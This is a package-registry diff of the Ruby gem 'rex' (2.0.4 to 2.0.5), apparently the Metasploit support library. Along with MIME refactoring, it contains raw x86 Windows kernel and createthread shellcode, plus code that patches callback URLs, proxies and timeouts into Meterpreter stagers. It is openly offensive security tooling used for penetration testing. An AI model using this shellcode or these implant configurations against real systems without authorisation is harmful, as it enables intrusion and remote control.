rex 2.0.4 → 2.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (67) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex/arch/x86.rb +16 -0
  3. data/lib/rex/constants.rb +1 -0
  4. data/lib/rex/constants/windows.rb +147 -0
  5. data/lib/rex/encoder/xdr.rb +3 -2
  6. data/lib/rex/exceptions.rb +37 -5
  7. data/lib/rex/exploitation/cmdstager/bourne.rb +9 -1
  8. data/lib/rex/exploitation/cmdstager/tftp.rb +5 -5
  9. data/lib/rex/java.rb +3 -0
  10. data/lib/rex/java/serialization.rb +54 -0
  11. data/lib/rex/java/serialization/model.rb +20 -0
  12. data/lib/rex/java/serialization/model/annotation.rb +69 -0
  13. data/lib/rex/java/serialization/model/block_data.rb +70 -0
  14. data/lib/rex/java/serialization/model/block_data_long.rb +72 -0
  15. data/lib/rex/java/serialization/model/class_desc.rb +64 -0
  16. data/lib/rex/java/serialization/model/contents.rb +156 -0
  17. data/lib/rex/java/serialization/model/element.rb +44 -0
  18. data/lib/rex/java/serialization/model/end_block_data.rb +12 -0
  19. data/lib/rex/java/serialization/model/field.rb +172 -0
  20. data/lib/rex/java/serialization/model/long_utf.rb +48 -0
  21. data/lib/rex/java/serialization/model/new_array.rb +225 -0
  22. data/lib/rex/java/serialization/model/new_class_desc.rb +155 -0
  23. data/lib/rex/java/serialization/model/new_enum.rb +79 -0
  24. data/lib/rex/java/serialization/model/new_object.rb +223 -0
  25. data/lib/rex/java/serialization/model/null_reference.rb +12 -0
  26. data/lib/rex/java/serialization/model/reference.rb +61 -0
  27. data/lib/rex/java/serialization/model/reset.rb +12 -0
  28. data/lib/rex/java/serialization/model/stream.rb +123 -0
  29. data/lib/rex/java/serialization/model/utf.rb +69 -0
  30. data/lib/rex/mime/message.rb +9 -14
  31. data/lib/rex/payloads.rb +1 -0
  32. data/lib/rex/payloads/meterpreter.rb +2 -0
  33. data/lib/rex/payloads/meterpreter/patch.rb +136 -0
  34. data/lib/rex/payloads/win32/kernel/stager.rb +26 -25
  35. data/lib/rex/post/meterpreter/client.rb +50 -60
  36. data/lib/rex/post/meterpreter/client_core.rb +18 -25
  37. data/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb +102 -8
  38. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +24 -14
  39. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +18 -0
  40. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +1 -0
  41. data/lib/rex/post/meterpreter/packet_dispatcher.rb +1 -1
  42. data/lib/rex/post/meterpreter/ui/console.rb +1 -1
  43. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +43 -1
  44. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +1 -1
  45. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +9 -0
  46. data/lib/rex/proto/dcerpc/svcctl.rb +2 -0
  47. data/lib/rex/proto/dcerpc/svcctl/packet.rb +304 -0
  48. data/lib/rex/proto/kademlia.rb +8 -0
  49. data/lib/rex/proto/kademlia/bootstrap_request.rb +19 -0
  50. data/lib/rex/proto/kademlia/bootstrap_response.rb +79 -0
  51. data/lib/rex/proto/kademlia/message.rb +72 -0
  52. data/lib/rex/proto/kademlia/ping.rb +19 -0
  53. data/lib/rex/proto/kademlia/pong.rb +41 -0
  54. data/lib/rex/proto/kademlia/util.rb +22 -0
  55. data/lib/rex/proto/natpmp/packet.rb +30 -2
  56. data/lib/rex/proto/quake.rb +3 -0
  57. data/lib/rex/proto/quake/message.rb +73 -0
  58. data/lib/rex/proto/smb/client.rb +1 -0
  59. data/lib/rex/proto/smb/simpleclient.rb +4 -0
  60. data/lib/rex/proto/sunrpc/client.rb +14 -3
  61. data/lib/rex/socket/comm/local.rb +10 -7
  62. data/lib/rex/socket/ssl_tcp_server.rb +79 -40
  63. data/lib/rex/ui/text/input/readline.rb +33 -6
  64. data/lib/rex/ui/text/output/file.rb +2 -2
  65. data/lib/rex/ui/text/output/stdio.rb +70 -14
  66. data/rex.gemspec +1 -1
  67. metadata +38 -3
@@ -24,11 +24,11 @@ class Message
24
24
  self.header.parse(head)
25
25
  ctype = self.header.find('Content-Type')
26
26
 
27
- if ctype and ctype[1] and ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
27
+ if ctype && ctype[1] && ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
28
28
  self.bound = $1
29
29
  chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/)
30
30
  self.content = chunks.shift.to_s.gsub(/\s+$/, '')
31
- self.content << "\r\n" if not self.content.empty?
31
+ self.content << "\r\n" unless self.content.empty?
32
32
 
33
33
  chunks.each do |chunk|
34
34
  break if chunk == "--"
@@ -88,15 +88,13 @@ class Message
88
88
  def add_part(data='', content_type='text/plain', transfer_encoding="8bit", content_disposition=nil)
89
89
  part = Rex::MIME::Part.new
90
90
 
91
- if (content_disposition)
91
+ if content_disposition
92
92
  part.header.set("Content-Disposition", content_disposition)
93
93
  end
94
94
 
95
- if (content_type)
96
- part.header.set("Content-Type", content_type)
97
- end
95
+ part.header.set("Content-Type", content_type) if content_type
98
96
 
99
- if (transfer_encoding)
97
+ if transfer_encoding
100
98
  part.header.set("Content-Transfer-Encoding", transfer_encoding)
101
99
  end
102
100
 
@@ -125,20 +123,17 @@ class Message
125
123
  end
126
124
 
127
125
  def to_s
128
- msg = force_crlf(self.header.to_s + "\r\n")
126
+ header_string = self.header.to_s
129
127
 
130
- unless self.content.blank?
131
- msg << force_crlf(self.content + "\r\n")
132
- end
128
+ msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n")
129
+ msg << force_crlf(self.content + "\r\n") unless self.content.blank?
133
130
 
134
131
  self.parts.each do |part|
135
132
  msg << force_crlf("--" + self.bound + "\r\n")
136
133
  msg << part.to_s
137
134
  end
138
135
 
139
- if self.parts.length > 0
140
- msg << force_crlf("--" + self.bound + "--\r\n")
141
- end
136
+ msg << force_crlf("--" + self.bound + "--\r\n") if self.parts.length > 0
142
137
 
143
138
  msg
144
139
  end
data/lib/rex/payloads.rb CHANGED
@@ -1,2 +1,3 @@
1
1
  # -*- coding: binary -*-
2
2
  require 'rex/payloads/win32'
3
+ require 'rex/payloads/meterpreter'
@@ -0,0 +1,2 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/payloads/meterpreter/patch'
@@ -0,0 +1,136 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Payloads
5
+ module Meterpreter
6
+ ###
7
+ #
8
+ # Provides methods to patch options into metsrv stagers
9
+ #
10
+ ###
11
+ module Patch
12
+
13
+ # Replace the transport string
14
+ def self.patch_transport! blob, ssl
15
+
16
+ i = blob.index("METERPRETER_TRANSPORT_SSL")
17
+ if i
18
+ str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
19
+ blob[i, str.length] = str
20
+ end
21
+
22
+ end
23
+
24
+ # Replace the URL
25
+ def self.patch_url! blob, url
26
+
27
+ i = blob.index("https://" + ("X" * 256))
28
+ if i
29
+ str = url
30
+ blob[i, str.length] = str
31
+ end
32
+
33
+ end
34
+
35
+ # Replace the session expiration timeout
36
+ def self.patch_expiration! blob, expiration
37
+
38
+ i = blob.index([0xb64be661].pack("V"))
39
+ if i
40
+ str = [ expiration ].pack("V")
41
+ blob[i, str.length] = str
42
+ end
43
+
44
+ end
45
+
46
+ # Replace the session communication timeout
47
+ def self.patch_comm_timeout! blob, comm_timeout
48
+
49
+ i = blob.index([0xaf79257f].pack("V"))
50
+ if i
51
+ str = [ comm_timeout ].pack("V")
52
+ blob[i, str.length] = str
53
+ end
54
+
55
+ end
56
+
57
+ # Replace the user agent string with our option
58
+ def self.patch_ua! blob, ua
59
+
60
+ ua = ua[0,255] + "\x00"
61
+ i = blob.index("METERPRETER_UA\x00")
62
+ if i
63
+ blob[i, ua.length] = ua
64
+ end
65
+
66
+ end
67
+
68
+ # Activate a custom proxy
69
+ def self.patch_proxy! blob, proxyhost, proxyport, proxy_type
70
+
71
+ i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
72
+ if i
73
+ if proxyhost
74
+ if proxyhost.to_s != ""
75
+ proxyhost = proxyhost.to_s
76
+ proxyport = proxyport.to_s || "8080"
77
+ proxyinfo = proxyhost + ":" + proxyport
78
+ if proxyport == "80"
79
+ proxyinfo = proxyhost
80
+ end
81
+ if proxy_type.to_s == 'HTTP'
82
+ proxyinfo = 'http://' + proxyinfo
83
+ else #socks
84
+ proxyinfo = 'socks=' + proxyinfo
85
+ end
86
+ proxyinfo << "\x00"
87
+ blob[i, proxyinfo.length] = proxyinfo
88
+ end
89
+ end
90
+ end
91
+
92
+ end
93
+
94
+ # Proxy authentification
95
+ def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type
96
+
97
+ unless (proxy_username.nil? or proxy_username.empty?) or
98
+ (proxy_password.nil? or proxy_password.empty?) or
99
+ proxy_type == 'SOCKS'
100
+
101
+ proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
102
+ proxy_username = proxy_username << "\x00"
103
+ blob[proxy_username_loc, proxy_username.length] = proxy_username
104
+
105
+ proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
106
+ proxy_password = proxy_password << "\x00"
107
+ blob[proxy_password_loc, proxy_password.length] = proxy_password
108
+ end
109
+
110
+ end
111
+
112
+ # Patch options into metsrv for reverse HTTP payloads
113
+ def self.patch_passive_service! blob, options
114
+
115
+ patch_transport! blob, options[:ssl]
116
+ patch_url! blob, options[:url]
117
+ patch_expiration! blob, options[:expiration]
118
+ patch_comm_timeout! blob, options[:comm_timeout]
119
+ patch_ua! blob, options[:ua]
120
+ patch_proxy!(blob,
121
+ options[:proxyhost],
122
+ options[:proxyport],
123
+ options[:proxy_type]
124
+ )
125
+ patch_proxy_auth!(blob,
126
+ options[:proxy_username],
127
+ options[:proxy_password],
128
+ options[:proxy_type]
129
+ )
130
+
131
+ end
132
+
133
+ end
134
+ end
135
+ end
136
+ end
@@ -47,19 +47,21 @@ module Stager
47
47
  checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 )
48
48
 
49
49
  # The ring0 -> ring3 payload blob.
50
- r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
51
- "\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
52
- "\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
53
- "\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
54
- "\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
55
- "\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
56
- "\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
57
- "\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
58
- "\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
59
- "\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
60
- "\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
61
- "\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
62
- "\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
50
+ # Full assembly source at:
51
+ # external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
52
+ r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x5D" +
53
+ "\x8B\x7E\x61\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
54
+ "\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
55
+ "\x58\x8B\x58\x54\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
56
+ "\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x31" +
57
+ "\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x25\x8B\x58\x5C\x8D" +
58
+ "\x5B\x69\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
59
+ "\x00\x74\x0E\xBA\x45\x45\x45\x45\x83\xC2\x04\x81\x22\xFF\xFF\xFF" +
60
+ "\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43\x43\x43\x43" +
61
+ "\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2B\x8B\x43\x10" +
62
+ "\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9\x44\x44\x44" +
63
+ "\x44\x75\x15\xE8\x07\x00\x00\x00\xE8\x0D\x00\x00\x00\xEB\x09\xB9" +
64
+ "\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
63
65
 
64
66
  # The ring3 payload.
65
67
  r3 = ''
@@ -125,20 +127,19 @@ protected
125
127
  # Stub to run a prepended ring3 payload in a new thread.
126
128
  #
127
129
  # Full assembly source at:
128
- # /msf3/external/source/shellcode/windows/x86/src/single/createthread.asm
130
+ # external/source/shellcode/windows/x86/src/single/createthread.asm
129
131
  #
130
132
  def self._createthread
131
- r3 = "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
132
- "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
133
- "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
134
- "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
135
- "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
136
- "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
137
- "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
138
- "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
139
- "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
140
- "\x31\xC0\x50\x50\x50\x8D\x9D\xA0\x00\x00\x00\x53\x50\x50\x68\x38" +
141
- "\x68\x0D\x16\xFF\xD5\xC3\x58"
133
+ r3 = "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
134
+ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
135
+ "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
136
+ "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
137
+ "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
138
+ "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
139
+ "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
140
+ "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
141
+ "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x31\xC0\x50\x50\x50\x8D\x9D" +
142
+ "\x99\x00\x00\x00\x53\x50\x50\x68\x38\x68\x0D\x16\xFF\xD5\xC3\x58"
142
143
  return r3
143
144
  end
144
145
 
@@ -42,9 +42,9 @@ class Client
42
42
  @@ext_hash = {}
43
43
 
44
44
  #
45
- # Cached SSL certificate (required to scale)
45
+ # Cached auto-generated SSL certificate
46
46
  #
47
- @@ssl_ctx = nil
47
+ @@ssl_cached_cert = nil
48
48
 
49
49
  #
50
50
  # Mutex to synchronize class-wide operations
@@ -106,7 +106,6 @@ class Client
106
106
  self.capabilities = opts[:capabilities] || {}
107
107
  self.commands = []
108
108
 
109
-
110
109
  self.conn_id = opts[:conn_id]
111
110
  self.url = opts[:url]
112
111
  self.ssl = opts[:ssl]
@@ -116,9 +115,21 @@ class Client
116
115
 
117
116
  self.response_timeout = opts[:timeout] || self.class.default_timeout
118
117
  self.send_keepalives = true
118
+
119
+ # TODO: Clarify why we don't allow unicode to be set in initial options
119
120
  # self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true
120
121
  self.encode_unicode = false
121
122
 
123
+ # The SSL certificate is being passed down as a file path
124
+ if opts[:ssl_cert]
125
+ if ! ::File.exists? opts[:ssl_cert]
126
+ elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored")
127
+ else
128
+ # Load the certificate the same way that SslTcpServer does it
129
+ self.ssl_cert = ::File.read(opts[:ssl_cert])
130
+ end
131
+ end
132
+
122
133
  if opts[:passive_dispatcher]
123
134
  initialize_passive_dispatcher
124
135
 
@@ -200,68 +211,43 @@ class Client
200
211
  end
201
212
 
202
213
  def generate_ssl_context
203
- @@ssl_mutex.synchronize do
204
- if not @@ssl_ctx
205
-
206
- wlog("Generating SSL certificate for Meterpreter sessions")
207
-
208
- key = OpenSSL::PKey::RSA.new(1024){ }
209
- cert = OpenSSL::X509::Certificate.new
210
- cert.version = 2
211
- cert.serial = rand(0xFFFFFFFF)
212
-
213
- # Depending on how the socket was created, getsockname will
214
- # return either a struct sockaddr as a String (the default ruby
215
- # Socket behavior) or an Array (the extend'd Rex::Socket::Tcp
216
- # behavior). Avoid the ambiguity by always picking a random
217
- # hostname. See #7350.
218
- subject_cn = Rex::Text.rand_hostname
219
-
220
- subject = OpenSSL::X509::Name.new([
221
- ["C","US"],
222
- ['ST', Rex::Text.rand_state()],
223
- ["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
224
- ["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
225
- ["CN", subject_cn],
226
- ])
227
- issuer = OpenSSL::X509::Name.new([
228
- ["C","US"],
229
- ['ST', Rex::Text.rand_state()],
230
- ["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
231
- ["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
232
- ["CN", Rex::Text.rand_text_alpha(rand(20) + 10)],
233
- ])
234
-
235
- cert.subject = subject
236
- cert.issuer = issuer
237
- cert.not_before = Time.now - (3600 * 365) + rand(3600 * 14)
238
- cert.not_after = Time.now + (3600 * 365) + rand(3600 * 14)
239
- cert.public_key = key.public_key
240
- ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
241
- cert.extensions = [
242
- ef.create_extension("basicConstraints","CA:FALSE"),
243
- ef.create_extension("subjectKeyIdentifier","hash"),
244
- ef.create_extension("extendedKeyUsage","serverAuth"),
245
- ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")
246
- ]
247
- ef.issuer_certificate = cert
248
- cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")
249
- cert.sign(key, OpenSSL::Digest::SHA1.new)
250
-
251
- ctx = OpenSSL::SSL::SSLContext.new
252
- ctx.key = key
253
- ctx.cert = cert
254
214
 
255
- ctx.session_id_context = Rex::Text.rand_text(16)
215
+ ctx = nil
216
+ ssl_cert_info = nil
256
217
 
257
- wlog("Generated SSL certificate for Meterpreter sessions")
218
+ loop do
258
219
 
259
- @@ssl_ctx = ctx
220
+ # Load a custom SSL certificate if one has been specified
221
+ if self.ssl_cert
222
+ wlog("Loading custom SSL certificate for Meterpreter session")
223
+ ssl_cert_info = Rex::Socket::SslTcpServer.ssl_parse_pem(self.ssl_cert)
224
+ wlog("Loaded custom SSL certificate for Meterpreter session")
225
+ break
226
+ end
260
227
 
261
- end # End of if not @ssl_ctx
262
- end # End of mutex.synchronize
228
+ # Generate a certificate if necessary and cache it
229
+ if ! @@ssl_cached_cert
230
+ @@ssl_mutex.synchronize do
231
+ wlog("Generating SSL certificate for Meterpreter sessions")
232
+ @@ssl_cached_cert = Rex::Socket::SslTcpServer.ssl_generate_certificate
233
+ wlog("Generated SSL certificate for Meterpreter sessions")
234
+ end
235
+ end
236
+
237
+ # Use the cached certificate
238
+ ssl_cert_info = @@ssl_cached_cert
239
+ break
240
+ end
263
241
 
264
- @@ssl_ctx
242
+ # Create a new context for each session
243
+ ctx = OpenSSL::SSL::SSLContext.new()
244
+ ctx.key = ssl_cert_info[0]
245
+ ctx.cert = ssl_cert_info[1]
246
+ ctx.extra_chain_cert = ssl_cert_info[2]
247
+ ctx.options = 0
248
+ ctx.session_id_context = Rex::Text.rand_text(16)
249
+
250
+ ctx
265
251
  end
266
252
 
267
253
  ##
@@ -453,6 +439,10 @@ class Client
453
439
  #
454
440
  attr_accessor :ssl
455
441
  #
442
+ # Use this SSL Certificate (unified PEM)
443
+ #
444
+ attr_accessor :ssl_cert
445
+ #
456
446
  # The Session Expiration Timeout
457
447
  #
458
448
  attr_accessor :expiration
@@ -8,6 +8,9 @@ require 'rex/post/meterpreter/client'
8
8
  # argument for moving the meterpreter client into the Msf namespace.
9
9
  require 'msf/core/payload/windows'
10
10
 
11
+ # Provides methods to patch options into the metsrv stager.
12
+ require 'rex/payloads/meterpreter/patch'
13
+
11
14
  module Rex
12
15
  module Post
13
16
  module Meterpreter
@@ -228,31 +231,21 @@ class ClientCore < Extension
228
231
 
229
232
  if client.passive_service
230
233
 
231
- # Replace the transport string first (TRANSPORT_SOCKET_SSL
232
- i = blob.index("METERPRETER_TRANSPORT_SSL")
233
- if i
234
- str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
235
- blob[i, str.length] = str
236
- end
237
-
238
- conn_id = self.client.conn_id
239
- i = blob.index("https://" + ("X" * 256))
240
- if i
241
- str = self.client.url
242
- blob[i, str.length] = str
243
- end
234
+ #
235
+ # Patch options into metsrv for reverse HTTP payloads
236
+ #
237
+ Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
238
+ :ssl => client.ssl,
239
+ :url => self.client.url,
240
+ :expiration => self.client.expiration,
241
+ :comm_timeout => self.client.comm_timeout,
242
+ :ua => client.exploit_datastore['MeterpreterUserAgent'],
243
+ :proxyhost => client.exploit_datastore['PROXYHOST'],
244
+ :proxyport => client.exploit_datastore['PROXYPORT'],
245
+ :proxy_type => client.exploit_datastore['PROXY_TYPE'],
246
+ :proxy_username => client.exploit_datastore['PROXY_USERNAME'],
247
+ :proxy_password => client.exploit_datastore['PROXY_PASSWORD']
244
248
 
245
- i = blob.index([0xb64be661].pack("V"))
246
- if i
247
- str = [ self.client.expiration ].pack("V")
248
- blob[i, str.length] = str
249
- end
250
-
251
- i = blob.index([0xaf79257f].pack("V"))
252
- if i
253
- str = [ self.client.comm_timeout ].pack("V")
254
- blob[i, str.length] = str
255
- end
256
249
  end
257
250
 
258
251
  # Build the migration request
@@ -287,7 +280,7 @@ class ClientCore < Extension
287
280
  # good bet that migration failed and the remote side is hung.
288
281
  # Since we have the comm_mutex here, we *must* release it to
289
282
  # keep from hanging the packet dispatcher thread, which results
290
- # in blocking the entire process. See Redmine #8794
283
+ # in blocking the entire process.
291
284
  begin
292
285
  Timeout.timeout(60) do
293
286
  # Renegotiate SSL over this socket